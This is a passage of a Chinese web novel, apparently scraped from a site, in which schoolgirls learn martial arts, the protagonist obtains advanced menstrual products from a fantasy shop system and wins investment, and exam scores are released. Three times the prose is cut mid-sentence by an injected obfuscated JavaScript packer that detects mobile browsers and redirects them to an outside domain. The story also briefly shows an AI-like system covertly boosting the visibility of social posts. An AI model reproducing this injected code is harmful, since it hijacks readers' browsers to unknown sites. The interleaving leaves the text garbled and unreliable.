感情是相处出来的，她要争取妈妈的爱，要爸妈心甘情愿地供她上大学，要让爸妈把所有资产交给她继承！ 得不到爱，她可以爱自己，她的好朋友会爱她。 得不到钱，她难道从无到有慢慢奋斗？晏北回不想一无所有地进入社会工作，该她拥有的她绝不放手！ 次日，晏北回乖巧礼貌地跟爸妈说早上好，劝妈妈休息半天：“你看起来很憔悴，我很心疼你！” 这种肉麻的话她从前不会说出口，但她今天自然而然地说了出来。 妈妈愣了愣，进卫生间照镜子：“我的脸色很难看吗？” “嗯，一看就知道昨天晚上没睡好。”晏北回叹气，“都怪弟弟，要是他不……妈，你就休息半天吧，平时你那么忙，老是不休息怎么受得住？” “工作……” “工作什么时候都能做，钱是赚不完的。”晏北回画饼，“我大学毕业就工作，努力赚钱为家里减轻负担，妈妈到时候肯定不用这么忙。” “唉，说得也是，我休息半天吧。”妈妈听劝，掏出一百块给她，“按时吃早餐，没钱了跟妈妈说，有钱别乱花，知道吗？” “知道的，谢谢妈妈。”晏北回收下零花钱，伸手抱了抱妈妈，表白道，“妈，我爱你！” 妈妈始料未及，僵硬地被她抱了一下，轻声骂她讨厌，笑容却显露了内心的喜悦。 “拜拜，我出门了，妈妈好好休息。”晏北回挥手告别，“中午我会在朋友家里吃，妈不用做我的饭。” 61.陆姨姨 骑着自行车来到陆晨曦家，晏北回开心地见到两位好朋友，还见到一位剪寸头、外表格外精明强悍的中年女性。 她在照片上见过这个中年女人。 对方是陆晨曦的姨姨，一位极优秀的在役军人，也是一位坚定的单身主义者，一位令人敬重的女权主义者，曾将不许家中女孩读书的坏家长送进监狱。 蓦然面对这样强势的长辈，晏北回有些局促，拿眼睛瞪两位好朋友：姨姨就是你俩说的惊喜？ “你好，北回。”陆姨姨主动跟她打招呼，态度亲切，“我是晨曦的姨姨，我叫陆昀。听说你想考警校，我很愿意给你一些指点。” 陆昀个子高，单薄的短袖T恤遮不住手臂上鼓起的大块肌肉，整个人力量感十足。别说晏北回，崔皓月乃至陆晨曦在她面前都有点不安，她的气质太锋利，就算面带笑容，看起来也很不温和。 果然，陆昀开口就说：“你们仨每天晨跑也没长多少肌肉，可见锻炼量不够。从今天开始，晨跑延长至半个小时！现在，都跟我跑起来吧！” 陆昀带队的晨跑，可不是她们仨平时慢悠悠的晨跑。 体力最差的晏北回跑了不到十分钟就累得上气不接下气，陆晨曦的呼吸也有些急促，耐力最好的崔皓月尚看不出变化。 陆昀意外地打量崔皓月：“你有没有兴趣进部队？你是个优秀的好苗子，耐力体力比一般人要强。” 崔皓月有自己的人生计划，婉言拒绝。 二十分钟后，晏北回和陆晨曦累得不想动弹，崔皓月也有些受不住。 一起晨跑的陆昀脸不红气不喘，用力拍崔皓月的肩，笑着说：“你不去当兵真的可惜了。” “得了吧姨姨！”陆晨曦忍不住说，“皓月很厉害的，你没准打不过皓月！” “真的吗？那我得见识一下。”陆昀一手拎着晏北回一手提着陆晨曦，带她们回别墅，“先吃个早餐，待会儿我和皓月切磋两招。” 自己打得过在役军人吗？ 崔皓月打量着陆昀壮实的体格，相差很大，除非使用【武道家LV3】技能，否则她没有任何战胜对方的希望。 早上九点，陆晨曦家的健身房里，崔皓月没有使用技能，而是拿出自己真正的实力。 陆昀非常强，战斗经验无比丰富。 她的攻击被陆昀化解，使出浑身解数，哪怕是神奇的内劲，也不能撼动陆昀。 不过，随着她的一次次进攻，陆昀的神色从戏谑变得认真起来。 战斗结束后，陆昀由衷地鼓掌：“皓月，你的表现非常优秀！你这技巧是自学的？你真的很有天赋！再让你练几年，我说不定赢不了你。我还想问你最后一次，你当真没兴趣当兵？” 崔皓月说：“没有。” 陆昀叹息：“那太可惜了，如果你当兵，我一定会全力托举你，让你成就更高。”她对崔皓月的武道怀着浓烈的兴趣，“能为我讲解你的武道吗？我见识也算广了，你展示的这个流派还是第一次见。” 光脑说：“陆昀是一个值得信任的人，你可以了解她过去的人生。” 在光脑收集的资料中，陆昀和她妹妹陆鸿都不被父母爱过，姐妹俩解决父母，各自闯荡世界，一个成为职业军人，一个成为企业家，人生可谓相当励志。 武道能影响世界，既然迟早要传扬出去，何不从陆昀开始呢？ 崔皓月凝视着陆昀，问她：“陆姨姨，你想学武道吗？我教你，你会变得更强大。” “当然想学，只要你肯教我，我便愿意学。”陆昀笑嘻嘻地摆出学生姿态，“皓月老师，我和晨曦、北回都在这里等着，你马上开始教学吧！我会学得比她俩都认真！” “喂！姨姨不准踩我们！”陆晨曦不满地说，“你年龄大，学得肯定没有我和北回快！” 晏北回崇拜地望着强大到崔皓月无法战胜的陆昀，说：“姨姨下午能教我们几招吗？我感觉你好强大，皓月肯定也想跟你学本事！皓月，你说是吧？” 崔皓月点点头：“是的。” “姨姨你先别急，我要跟皓月聊几句悄悄话。”陆晨曦拉着崔皓月，“稍等一下，我们很快回来！” 回到房间里，关好门，陆晨曦问崔皓月：“你决定教我姨姨武道？皓月，告诉我，这件事你认真考虑过？” 崔皓月认真地回答：“我考虑过。” 陆晨曦放松下来，说：“武道一定会改变世界！以后，要是有人问你武道从哪里学的，你一定要说，你是跟我姨姨学的！姨姨是大人，承受风险的能力比我们强，我能保证，她一定不会介意你将武道推给她。” “我们不用这样小心谨慎。”崔皓月决定跟好朋友讲实话，“晨曦，我随时能跟红X聊天，网络上的变化全是我的决定。我们要改变这个世界，你的姨姨也想改变这个世界，我们是同伴。所以我不想隐瞒你，不想隐瞒你姨姨，我们一直在并肩作战。” “红X？你认识她？”陆晨曦重复着，眼里映出好朋友说到红X时从容不迫的模样，一颗心顿时不受控制地猛烈跳动起来。 她喃喃说：“我的天啊！皓月，你怎么连这种话都跟我说？我们虽然是特别特别好的好朋友，但是好朋友之间也不能什么秘密都说出来的啊！崔皓月，你难道就不担心我泄露你的秘密，给你带来危险？你的胆子真的太大了！” “你对我怎么那么坦诚！你怎么可以这样信任我！信任到连天大的秘密也跟我分享！”陆晨曦激动得热泪盈眶。 她紧紧地拥抱崔皓月，彼此心贴心：“我何德何能让你如此信任！你放心，皓月，我一定为你保密！绝不辜负你对我的信任！” 好朋友知道秘密的第一个反应是责怪她太容易相信人，崔皓月的眼睛也充满了温热的泪水。 她抱着陆晨曦，说出真心话：“你是我最好的朋友，我能变得优秀，离不开你的鼓励！如果我连你都不能信任，那我还能相信谁？” “呜呜，太感动了！”陆晨曦埋在她颈窝里哭，“我要和你做一辈子朋友！下辈子我也要做你的好朋友！” 两人回到健身房，晏北回哇哇叫：“你俩背着我干嘛去了？我怎么感觉我错过某些精彩剧情？” “不必好奇，你迟早会知道。”陆晨曦微笑着说，“先来后到，懂？” “哼！你不说我还不好奇了呢！”晏北回故作不屑地撇嘴，“能开始学武道了吗？我学得比你快，我感觉我的武道天赋比你强！哼哼，晨曦，你等着瞧吧，我一定比你更早入门！” 陆昀笑吟吟地看她们聊天，发出感叹：“这才是青春啊，瞧你们，多有活力。我也想念我的朋友了，但她在首都，我有假期的时候她忙着做研究，她空闲的时候我出任务，真是好久也不能在现实中见到一面。” “长久不见面会影响你和朋友之间的感情吗？”晏北回好奇。 “看情况，有的朋友分开时间久了会变成陌生人，有的朋友几年不见面也能聊心里话。”陆昀轻轻地叹息，“珍惜现在的时光，想做什么就做什么，不要留下遗憾。” 崔皓月明白这道理，说：“北回、晨曦，你俩练习学过的武道姿势，我先教姨姨。” 两位好朋友没有意见，一起面对镜子练习武道姿势。 在传授武道之前，崔皓月率先演示一次三十六个武道姿势。 她已练出内劲，武道姿势变化流畅，极有韵律，内劲在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781870|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 练习中渐渐产生。 陆昀看得目不转睛，下意识地跟着她学，可那些姿势看似平常，却难以掌握，光靠观看是很难学会的。 崔皓月说：“这便是全部动作。” 她演示了第一个动作，为陆昀讲解，对方理解得容易，实际操作不容易。 于是，崔皓月纠正陆昀的动作，让她练习。 此时晏北回和陆晨曦复习完学过的动作，崔皓月教她们学下一个动作。 学了半个上午，陆昀隐约有感悟：“皓月，你的武道似乎是以增强身体素质为目的？你的力气比看起来大，是因为你学习武道？” “可以这样理解。”崔皓月说，“武道重在强身健体，搏斗只是武道的一个分支。” “下午接着教我们武道吧，我感觉你的武道确实能够增强身体素质。”陆昀若有所思，这样的传承具有不低的价值，为何她从前闻所未闻？ 因为她不了解民间武学？ 回到房间里，陆昀将第一个动作画下来，发给在研究院工作的好朋友，请好朋友研究一下武道姿势是否有益健康。 到了下午，陆昀越是学习武道，越是能感觉到武道不同寻常，她想推广武道。 对此，崔皓月说道：“我的武道只适合女性学习，男性学了有可能产生不好的后果。” 陆昀恍然大悟：“难怪你的武道鲜为人知。” 一个不利于男性的武道传承，能延续到今天算不错了。 …… 发现崔皓月晚上回到家的第一件事是洗澡洗头，第二件事是开电脑学知识，唯一的娱乐是边学习边听歌，在她家做客了好几天的徐凌波忍不住对她说：“你怎么这么努力？你学习难道不觉得无聊吗？你放假了，难道不想出去玩？” 望着电脑屏幕上的知识，崔皓月说：“因为我有很多想法要实现，我有学习的动力。” 徐凌波叹服：“你难道想改变世界？”好奇地看她的屏幕，“你说你学网络技术，是哪方面的技术？” 崔皓月沉默了一会儿，说：“我改变主意了。” 光脑的能力太强大，跟光脑学习网络技术不如将网络交给光脑打理。 “啊？”徐凌波懵懵懂懂，“你现在在学别的？” “在了解营养学。”崔皓月看向徐凌波，“我想制造营养补充剂，让没钱吃肉蛋奶的人也能健康成长，不怕青春期长不高。” “能吗？”徐凌波更迷惑了，“你以后要做营养学家？我感觉这个行业不太赚钱。” “先试试。”崔皓月研究电脑上的学习资料，不再理会徐凌波。 徐凌波搬来一把椅子，跟她一起看资料。 屏幕上都是认识的字和字母，它们组合在一起之后，愣是让人看得一头雾水。 徐凌波默默地放弃学习，思维发散。 如果皓月真的造出营养补充剂，那些连肉蛋奶都吃不起的人买得起吗？ 买菜做饭是折磨人的事情，营养补充剂能否代替一日三餐？若是能，高三学生会不会连去食堂吃饭的时间都被剥夺？吃营养补充剂可比吃饭省事，不用打菜，吃饱不用洗盘子…… 照这么想，营养补充剂确实有不少的优点。 徐凌波讨厌洗盘子，即便崔皓月家有洗碗机，也是要把碗筷放进洗碗机的。 说起来，崔皓月成绩那么优秀学习还那么努力，她是不是也得学点什么提升一下自己？ 想到书房里有书，徐凌波跑去翻书架，看到一本《月经常识》。 这是崔皓月买的书吗？ 意外地看了小伙伴一眼，徐凌波取下书，翻到扉页，立刻被书上“没有月经就没有人类”的话惊住。 62.卫生巾 想到自己早上醒来发现月经弄脏了床单，一整天心情不太好，徐凌波抿唇，拿着书来到书桌前坐下，认真阅读。 房间变得很安静，只有优美的轻音乐悄悄流动。 学完营养学的一个章节，崔皓月停下休息，徐凌波走过来，主动为她按摩头颅。 崔皓月讶然：“有事？” 徐凌波叹气：“我看了《月经常识》，我在想，卫生巾为什么那么难用？我贴的夜用长款卫生巾，睡觉时就翻了个身，然后床单被弄脏了。卫生巾卖得那么贵，该吸的血吸不住，吸了血就散发怪味。皓月，因为我们是女的，所以我们要受这样的苦吗？” “可以试试棉条和月经盘。”崔皓月拿起保温杯喝水，“我的朋友向我推荐的，我试过，使用难度比卫生巾高一点，但是比卫生巾好。” “我不是这个意思，我是说，卫生巾凭什么又贵又难用？”徐凌波咬牙，“昨天景星跟我说，年满十八岁，每人每年可以免费领取120个避孕套！男的领了自己用，女的领了给男的用！你说，凭啥避孕套能免费，卫生巾不能免费？我要那120个避孕套有屁用！给我120片卫生巾，我能省下一笔不小的支出呢！” 什么？！ 崔皓月还是第一次知道，原来她过完九月的生日，能免费领取120个对她没有一点用处的避孕套。 她仰着头看身后的徐凌波，瞬间理解了小伙伴的愤怒。 “性生活那么重要吗？又不是人人都过性生活，月经可是每月都来！”徐凌波委屈地说，“要是120个避孕套换成120片卫生巾，免费发给我们女的，那该多好！景星就算结婚了，她更需要的也是卫生巾，而不是给她老公用的避孕套！” “你想怎么办？”崔皓月问她。 “怎么办？”徐凌波眨了眨眼睛，神色疑惑，“我在跟你吐槽啊。” “你跟我说这件事，难道不想改变吗？”仰头有点累，崔皓月拨开徐凌波放在自己头上没有动作的手，默念节拍，自顾自做眼保健操。 徐凌波好笑：“皓月，我是个普通人哎，我怎么改变这件事？” 崔皓月说：“那你是盼着我跟你一起改变这件事？” 徐凌波连忙否认：“不，我只是觉得这件事很离谱，非常离谱。你也是普通人，难道你能让资助你上大学的企业家改变这件事？不太可能吧？” “我们可以向有关部门反映，要求他们将发给我们的120个避孕套换成120片卫生巾。”崔皓月启发小伙伴思考。 “还可以这样做吗？”徐凌波感觉反映没啥用，“要是能改，他们早就改了，他们不改，是认为我们必须花钱买卫生巾。” “试过才能知道有没有用。”崔皓月说，“总之，人不能光抱怨，还要行动起来。” 自己被小伙伴鄙夷了吗？ 徐凌波感觉自己不能让崔皓月小看，硬着头皮发言：“我上网研究一下怎么投诉……皓月，你有什么建议吗？只有我一个人投诉，这件事肯定不会引起重视……要不，我发个帖子，让需要免费卫生巾的网友和我一起投诉？” “好，我给你介绍一个维权群聊。” 崔皓月拿起手机，把徐凌波拉进陆晨曦建立的，从帮助晏北回战斗搞粉红税歧视女性的下贱羽绒服商家，发展到帮助所有女性战斗粉红税的群聊。 小伙伴还加了维权群？ 徐凌波在群动态里看到聊天群建立的原因，以及晏北回维权的全过程，顿时肃然起敬。 “皓月！原来那个谈粉红税爆火的女生是你朋友！”徐凌波感慨，“她的发言太犀利了！多亏她提醒，现在我买东西，会留意女款和男款的价钱是否一致，不一致的我会避雷。” 下贱商家被晏北回战胜了，她的投诉没准能让有关部门改变！ 汲取到鼓励，徐凌波积极主动地劝说群友们加入投诉。 很快，这件事发到网络平台，大家呼吁网友参与，一起为卫生巾免费发放努力。 光脑悄悄为徐凌波等人的帖子增加了曝光率，推动事情朝好的方向发展。 从未在网上得到这么大的关注度，徐凌波激动不已，对暂停学习上厕所的崔皓月说：“世界是普通人组成的！我们普通人特别了不起！景星也支持我，她虽然为人恋爱脑，是非还是分得清的。” 崔皓月向她竖起大拇指，继续学习。 到了晚上十点，崔皓月停止学习，把改进卫生巾加入学习计划。 身为徐婷婷的时候，她需要营养补充剂，也需要便宜好用的卫生巾。 哪怕是现在，她不缺乏购买月经用品的钱，她用卫生巾依然担心弄脏裤子。 【商店】的卫生巾是怎样的？崔皓月头一次好奇这个问题。 她打开【商店】浏览商品，所有【金钱】能买到的月经用品，皆是现实中普通人能买到的，卫生巾商品页特地标注了“卫生巾实际长度比宣传长度短，该商品虚假宣传”的字样。仅限【积分】购买的月经用品也有，便宜得近乎白送，1积分能买10包日用。 崔皓月买了一包夜用和一包日用，通过【背包】领取商品，拿去客房给徐凌波用：“你试试这个卫生巾。” “好用吗？这牌子我不认识哎。”徐凌波看卫生巾包装上的使用说明，“咦，这个卫生巾的尾巴怎么是扇形？” “据说能防止侧漏。” “那我试试吧。”徐凌波一脸迟疑地拿着卫生巾去厕所，崔皓月不至于拿三无产品害她，姑且用用，感觉到不适她可以立刻换掉。 没一会儿，徐凌波非常惊喜地回来了。 “皓月，卫生巾是在哪里买的？贵不贵？它好柔软，特别贴合我的裤子，用着没有多少异物感！还薄！很透气！一点都不闷！太高科技了！太好用了！你快告诉我它的价钱，我要买！” 崔皓月坐在床上，正研究着拆开的日用卫生巾，想在现实世界中大量生产，惠及所有人。 看到徐凌波又蹦又跳地向她展示卫生巾有多好用，她摇摇头：“你要用我能给你，买是买不到的，至少现在买不到。” “为啥买不到？”徐凌波不解，“我要是有这种产品，我立刻上市出售！不过，这个卫生巾挺有技术含量的，到底多少钱一包？几百？还是上千？说出来，让我死心。” “不清楚，你先用着吧。”崔皓月说，“我还买了棉条和月经盘，你也试试。” 拿起盒装的棉条，徐凌波心里有些抵触：“没用过，感觉不好上手，但我会尝试的。以后……不，明天吧，明天晚上你回来，我保证告诉你棉条的使用体验！后天我再试试月经盘！都是跟卫生巾一个牌子的，使用体验应该不会差。” 崔皓月给的棉条小小一根，徐凌波拖延到中午才准备用。 她看了半天棉条的使用说明，拿着棉条塞了半天也塞不进身体，气恼之下拿镜子一照，对准位置了才把棉条送进体内。 跟高科技卫生巾一样，棉条没有异物感，吸收率却强。 用了一下午，她的裤子没弄脏，浑身清爽，取出用过的棉条也不吃力，一时连高科技卫生巾都不稀罕了。 棉条好！以后用棉条！ 有牌子的商品在网上应该能找到痕迹，徐凌波上网搜索，一无所获。 她很好奇，皓月怎么弄到这种高科技月经用品的？资助皓月的女性企业家难道还经营着高科技卫生巾工厂？ 如果是，徐凌波希望高科技卫生巾、高科技棉条尽快普及，五六十块一包她也能接受，反正市面上的普通卫生巾她是完全不想用了。 当然，价钱便宜她会更喜欢。 如果国家能免费发放，那绝对是最好的！ 徐景星老公不在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14786528|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家，徐凌波去她家蹭了顿晚饭，帮忙洗干净碗筷后马上离开，一刻不肯多停留。 “明天上午去公园玩吗？”徐景星叫住她，“我想带宝宝出去透透气。她很健康，只要做好防晒，可以在外面玩一会儿。” 生怕出轨的老公传染自己脏病，徐景星前天去医院做了检查。 结果令人安心，她没有染上脏病。 这让她紧绷的精神放松下来，有心情琢磨怎么玩了。 但在徐凌波看来，徐景星的言行令人费解。 为何她能照常生活？ 老公出轨，她被背叛了，以后她还会被背叛，她现在怎么能装作什么都没有发生？ “你不离婚？”徐凌波想到一种可能，眉头顿时皱起，“景星，你难道要装聋作哑，跟那个多次背叛你的死鬼男人过一辈子？你就不怕他传染你脏病？” “我怎么不怕！可是，凌波！”徐景星愁眉苦脸，“我没钱没房子，离开那个死鬼男人，我和孩子住哪？回村吗？养孩子要花很多钱的！” “没钱就去赚钱！”徐凌波想起努力学习的崔皓月，给她出主意，“从现在起，你看网课学高中知识，三年后未必不能参加高考。” “学习……”徐景星嗫嚅着说，“我学习成绩一直不好，你又不是不知道……” “没学历总得有一技之长，不然你要个生活费都得低声下气地求你那死鬼男人施舍，你怎么受得了？”徐凌波真心盼着徐景星摆脱她那死鬼老公，开始新生活。 懒得看徐景星的苦瓜脸，徐凌波说：“找份工作吧，不管你离不离婚，你至少要有收入，不能求别人施舍。” “我带着孩子，谁肯要我？”徐景星低下头，红了眼圈，“我不能不顾孩子，她太小，离不开我。” “不问别人，你怎么知道别人不要你？你年纪轻轻生孩子，死鬼老公还出轨了，经历多惨啊！找一个可怜你的老板，工作认真努力，还怕赚不到钱？”徐凌波翻白眼，“我走了，以后我不会再来这里。要是你下定决心离婚，没准我会帮你搬家！” “明天去公园玩——” “没空！” 徐景星的声音被徐凌波抛到身后。 她有事要做。 网上那些嘲笑她妄想卫生巾免费发放的坏家伙，他们不配被妈妈生下来，必须狠狠怼回去！ 徐凌波还要关心高科技卫生巾何时上市。 她的钱很宝贵，努力提高女性生活质量的好商家才值得她支持，那些搞粉红税割她钱包的下贱商家应该亏到血本无归！ …… 由于徐凌波对高科技卫生巾和高科技棉条评价极好，崔皓月得知陆晨曦来了月经，特地带高科技棉条给她。 陆晨曦使用后赞不绝口：“你这是哪来的棉条？太好用了！” 晏北回和陆昀也在，崔皓月便说：“是我亲戚给我的，还在研发阶段。晨曦，你妈妈有兴趣投资吗？我能提供样品和技术，别的要你妈妈想办法。” “必须有兴趣！我妈也是女的，她用过这种棉条一定会喜欢的！”陆晨曦信心满满，认定棉条跟疑似外星人的红X有关，红X的棉条她信得过，“我妈的经期跟我差不了几天，你多给我几盒棉条，我保证说服她出钱投资！” “真有那么好用？”陆昀好奇，“也给我一包，我这个月还没来月经。” “我也要。”能占便宜，晏北回不会错过，“晨曦喜欢用的东西质量肯定好，不过我月初来月经，下个月才能试用。我看看这个月还有几天……” 她掏出手机看月历，忽然叫了一声：“后天出高考成绩！时间过得好快，我感觉高考才过去两三天，没想到高考结束已经十多天了！” 恰在这时候，光脑通过系统给崔皓月发消息：“想不想立刻知道你的高考成绩？回我一个想，我马上告诉你哦！” 63.高考成绩 高考成绩要到6月23日才能查询，但是光脑手眼通天，21日就知道崔皓月的成绩。崔皓月倒是不急，毕竟成绩已成定局，早知道晚知道没有区别。 她更关心高科技月经用品能否得到陆妈妈投资，若是陆妈妈答应投资，会不会为了获得更大利益，给高科技月经用品定一个高价。 不过，技术是她用积分在【商店】兑换的，陆妈妈如果不能满足她的期待，她可以换一个能达成她期待的合作方。 大家都想体验高科技月经用品，崔皓月通过手机在【商店】下单，买了两箱月经用品，让系统以快递方式送到陆晨曦家。 下单半天后，快递送到，一箱是包括了全种类月经用品的样品，一箱给大家用。陆晨曦家的阿姨来凑热闹，崔皓月也送了几包卫生巾给她，让她给她女儿用。 巧得很，平时忙得见不到人的陆妈妈傍晚回来了，到家就被女儿陆晨曦强烈推荐不知名品牌的棉条。 陆鸿翻看着棉条的包装盒子，没有厂家名称，也没有生产商的名称、地址和电话，连生产批号都找不到，这不是三无产品吗？女儿推荐这玩意，难道让坏人给骗了？ 她的女儿她知道，不是等闲人能骗的。 “是皓月的亲戚研发的月经用品，妈你就给我个面子，用一下嘛！”陆晨曦抱着她的手撒娇，“我已经替你试用过了，这个棉条绝对好用！你要是不想用放进体内的棉条，试试卫生巾，也很好用！那是高科技卫生巾！” “皓月可信，她亲戚未必可信。”家里全是自己人，陆鸿说话并不避讳，“晨曦，就算是好朋友，你也不能全信。” “但她是皓月，她绝不害我！”陆晨曦坚定地说，“她名字是我起的，我的命是她救的！妈妈，我和她是全世界最好的好朋友！我不想听你说她不好，你再说，我一定会跟你生气！” “好吧，我不说她。”陆鸿拿着月经用品进卫生间，“你试用过，我也用一下，看看这棉条有没有那么好。” “妹，放心好了，人家不屑于骗你。”陆昀倚着门框，边玩手机边说，“皓月是一个很优秀的孩子，我要是你，早就收她做我的养女了。你对她淡淡的，难道不看好她？” “她是晨曦的好朋友。”陆鸿不想影响女儿和崔皓月的关系，因此她用对待普通小辈的态度对待崔皓月，偶尔发点零花钱，平时几乎没有交流。 陆昀听得一怔，笑了出来：“难怪你能赚那么多钱，你心眼真多。” 拿出手机准备玩的陆晨曦抬起头，看着陆昀：“我妈咋了？” “你妈希望你有自己的交际圈。”陆昀说，“所以她没有对你朋友表示亲近。” “我妈那是尊重我，信任我交朋友的能力。”陆晨曦撇撇嘴，想到陆昀有个朋友在研究院工作，问她，“你的科学家朋友是研究什么项目的？能把她挖到我妈马上成立的月经用品生产公司吗？” 公司还没成立呢，小朋友就想挖人了，陆昀失笑：“我朋友是一座大佛，小庙容不下。” 陆晨曦轻哼，自信地说：“放心吧，皓月她亲戚研发的月经用品科技含量不低，只要能生产出来，肯定会风靡全世界！我妈只要脑子里没进水，肯定愿意投资这个超级项目！” 说完，陆鸿便从卫生间出来。 陆晨曦和陆昀看向她，只见她径直走到陆晨曦面前，神色难掩激动：“晨曦，皓月有告诉你她亲戚的联络方式吗？棉条确实好用，我要找她亲戚了解这种棉条的生产过程和成本！投资的话，先投五百万，不，我可以投一千万，后续视情况追加。” 细微动静响起，陆昀的手机掉了。 她反应极快地抢救手机，为陆鸿的慷慨咋舌：“妹，棉条真有那么好用吗？你是搞房地产的，不是做月经用品的，市场也没了解过，怎么可以随便投钱？” “非经期也可以试用月经用品，你试试就知道了。”陆鸿推她进卫生间。 陆昀挑眉，真拿起架子上的月经用品试了。 棉条小小的一根，置入体内却恰到好处，异物感完全没有，使用体验可谓极佳。 卫生巾的科技感更强烈，极其柔软，完全贴合裤子，薄而透气，不论它吸收经血的能力强不强，光是柔软度就能吸引许多忠实用户。 月经杯和月经盘也比她用过的好，新手都能轻松上手，没有使用门槛。 “难怪你那么激动，我也想投资这个月经用品。”陆昀拉开卫生间的门，望着陆晨曦，“你朋友的亲戚到底是何方神圣？” 拿得出使用体验超好的月经用品，还传授崔皓月强身健体的武道，怎么想这亲戚都不寻常。 陆晨曦神秘地笑了笑：“姨姨，不要太好奇。” 她拨通了崔皓月的电话，告诉好朋友喜讯：“我妈用过你的月经用品，答应先投资你一千万，后续还会追加投资。” 电话那头的崔皓月不复平静，声音里透出激动情绪：“真的吗？” 陆晨曦点头：“真的。” 窗外是城市的日落，崔皓月望着美景，心脏跳得很快。 那么容易，她得到了陆妈妈的投资。 一千万，不是一千块钱，陆妈妈一下子就拿出来。 她深呼吸一次，让自己平静下来，跟陆晨曦说：“我出技术和样品，你妈不仅要出钱投资，还要成立研究部门和工厂生产线，销售也得你妈妈解决。” 手机通话变成了视频通话，陆晨曦向她保证：“好，你说的事我妈都能负责，利润分成可以慢慢商量，你对我妈妈有什么要求吗？” 室内的光线变得昏暗，崔皓月去开了灯，回到窗前，说：“市面上的卫生巾很贵，一片日用都要一块左右，很多人买不起。我们生产的月经用品成本很低，我希望它的定价足够低廉，让所有人用得起……” “放弃高端市场？”陆鸿皱眉，“可以搞两条生产线，一条面向低端市场，一条面向高端市场。” “没必要。”崔皓月否决她的提议，“月经用品的定位是必需品，不是奢侈品，故意卖高价跟粉红税有何区别？” 陆鸿审视着崔皓月，宁可薄利多销也不卖贵，这是学生的天真想法，还是纯粹的理想主义？ 掌握着技术的是崔皓月，技术不可替代，投资方却可以更换。 于是，陆鸿让步，问起别的：“成本可以压到多低？需要研究部门是怎么一回事？” 在【商店】购买的月经用品生产技术完全适用于当前时代，崔皓月把光脑整理好的资料发给陆鸿：“你自己看吧。” 房地产是陆鸿的主业，她不了解月经用品市场，但她能找相关行业的人分析资料，找专业人士为她生产样品。 两天后，陆鸿拿到一批在实验室里生产出来的高科技卫生巾样品。 高科技卫生巾不是骗局，只要掌握技术，生产成本很低。 陆鸿的心彻底放下，迅速成立一家月经用品生产公司，工厂地址暂时定在县城郊外，全自动生产机器已经在制作中，员工招募正在进行。 为了确保月经用品下个月能销售，陆鸿忙得不行，房地产相关事情全部交给秘书处理。崔皓月好奇工厂是如何建设起来的，跟着陆鸿东奔西走，了解建厂过程。 至于传授武道，她请光脑设计了辅助程序，无需她亲自传授，陆晨曦等人也能看视频自学，反正电脑辅助程序会纠正她们练习武道姿势的错误。 此时，高考成绩已经公布。 崔皓月考了698分，位列全省前三十名，全市第二名，这是她最好的成绩，也是她努力达成的最好结果。 陆晨曦701分，全市第一，属于超常发挥。 晏北回654分，得知分数后喜极而泣，抱着两个好朋友，声音哽咽：“呜呜！我也能上重点大学了！呜呜，多亏了你们！要不是你们拉扯我，我的成绩肯定没有这么大的进步！” “也得你自己争气啊，考试的可是你自己。”陆晨曦为她高兴。 徐凌波599分，固然比不上崔皓月，对她来说却是一个非常好的成绩了。她打电话给她妈妈：“我考了599分！能上985大学！211大学也能上！” 985、211都是名校，妈妈高兴得笑个不停：“读书还得是咱家凌波！村里上大学的人里头，就我们凌波考的大学最厉害！” “妈，你不要这样说我。”徐凌波惦记着让崔皓月回村打脸，“你知道皓月考了几分吗？” “谁是皓月？”妈妈发出疑问。 “你忘记了吗？”徐凌波有些不高兴了。 她跟妈妈讲过好几次小伙伴改名，妈妈一句也没听入耳。 正要跟妈妈解释，她妈忽然哦了一声，意味深长地说：“徐婷婷啊，她也高考了？亏她上一中，竟然干那种勾当，她的高考成绩估计好不到哪里去，她也用不着上大学。” 这语气让徐凌波听了，差点就想挂断电话，她很生气地叫道：“妈！” “怎么？”她妈不以为然，“徐婷婷傍上有钱人，年纪轻轻给人当情/妇，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790477|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说两句你咋就跟我气上了？我是你亲妈，你为了她跟我置气是想气死我吗？” “都说了资助皓月的大老板是女的！你怎么不信我！”徐凌波恼火，“皓月超厉害的，她考了698分！比我多99分！名牌大学随便挑！” “698分？”妈妈吃惊，“真的还是假的？她读书那么厉害？要是你努力一点……” “99分的差距你让我怎么努力？人家能考上一中，读书一直比我厉害！”听出妈妈被惊到，徐凌波得意起来，“皓月不回家是因为她爸妈逼她辍学嫁人，她奶奶气她不听话，故意造谣她坏她名声。他们要是知道皓月考这么好，肯定后悔没有好好对她！” “你没被骗吧？”妈妈怀疑，“你老师说你成绩不错，她比你多99分，也太吓人了！” 